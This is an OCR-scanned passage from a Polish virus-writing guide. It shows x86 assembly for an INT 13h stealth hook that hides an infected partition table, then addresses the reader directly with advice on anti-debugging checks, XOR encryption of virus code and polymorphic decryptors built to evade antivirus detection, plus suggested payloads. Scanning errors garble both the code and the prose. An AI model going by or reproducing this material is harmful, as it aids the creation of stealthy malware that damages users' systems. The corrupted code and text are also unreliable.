pop
pop
pop
pop
pop
pop
pop
cli
jmp
ds
di
si
dx
cx
bx
ax
cs:far [adres_21h ofs+2]
adres_13h__ofs dd far ptr (?)
skok do właściwej procedury obsługi ; przerwania
prserwanie_13h r sti pushf
onp ah, 2
jne dalej
cmp dh.rO
jne dalej
cmp dl,0
je dalej
cmp dl,1
je dalej
cmp cx,l ; Sprawdzenie esy następuję próba odczytu
jne dalej ; tablicy partycji dysku twardego*
mov cx, 9 ; jeśli tak to w miejsce zarażonej tablicy
; wczytywana tablica oryginalna ( W tym ; przypadku z sektora 0,0,9)
dalej:
poęf
cli
jmp cs;far [adres_13h_ofs+2] ; skok do oryginalnej
? procedury obsługi ; przerwania
Niektóre wirusy przechwytują jeszcze przerwanie zegarowe i co 1/18 sekundy sprawdzają czy wirus nie uległ uszkodzeniu, tzn* czy zgadzają się odpowiednie sumy kontrolne. Jeśli lak, to istnieje możliwość, że działanie wirusa jest śledzone przez debuggera* W takim wypadku wirus usuwa się z pamięci iub powoduje restart systemu.
Osobnym tematem jest kodowanie kodu wirusa. Właściwie jest to zagadnienie na samodzielną książkę. Kształt i skomplikowanie procedury kodującej może zależeć tylko od tego, ile czasu będzie Ci się chciało włożyć w jej napisanie. Możesz na przykład stosować różne procedury kodujące w zaieżności od dnia, miesiąca lub godziny. Zasada jest taka, że im więcej czasu poświęcisz na pisanie takiej procedury, tym wirus będzie trudniejszy do wykrycia przez programy antywirusowe. Najprostszą metodą kodowania jest tak zwane xerowania, czyii wykonywanie operacji xor na każdym bajcie kodu. Kodowania w ten sposób ma taką zaletę, że procedura kodującą jest równocześnie procedurą dekodującą, gdyż wykonanie dwukrotnie operapji xor na jakimś elemencie daje w wyniku ten sam element. W treści przykładowego wirusa znajduje się procedura kodująca dysk twardy, korzystająca z xorowania.
„W temacie kodowania" jest jeden słaby punkt. Mianowicie procedura dekodująca nie może być sama zakodowana, a co za tym idzie wykrywając obecność takiej procedury wykrywa się obecność samego wirusa* Aby temu zaradzić stosuje się procedury dekodujące o zmiennej budowie. Przykładowo, jeśli pomiędzy instrukcje dekodujące wstawi słę przypadkowy ciąg hęlów(za każdym razem inny) oraz instrukcję skoku do następnego sensownego rozkazu, to taka procedura nie będzie miała stałego wzorca* Jest to jednak już zupełnie inna bajka i być może w II części książki...
Myślę, że z grubsza omówiłem mechanizmy stosowane przez wirusy w celu maksymalnie długiego maskowania swojej itoinóśd w komputera, Nic jednak nie stoi na przeszkodzie abyś wymyślił swoje własne procedury maskujące (wymagać to będzie przede wszystkim dużego nakładu pracy). Musisz sobie zdawać sprawę tylko z tego, że żadna procedura maskująca nie jest skuteczna wtedy, gdy wczyta się system operacyjny z niezainfekowanej dyskietki, tak że prędzej czy później, każdy zostanie wykryty.
Ostatnia część wirusa, czyli dowcip zależy tylko i wyłącznie od Twojej inwencji. Osobiście polecam bardziej robienie (fcwripów w stylu kropkojada, czy żartownisia (Woda wykryta w koprocesorze!!!, Jestem głodny - włóż HAMBURGERA fcrapędu a: lit T Pocałuj mnie w ... klawiaturę !(! itd.)P niż formatowanie dysku twardego albo próby zniszczenia karty graficznej, czy zagrania marsza na stacji dysków.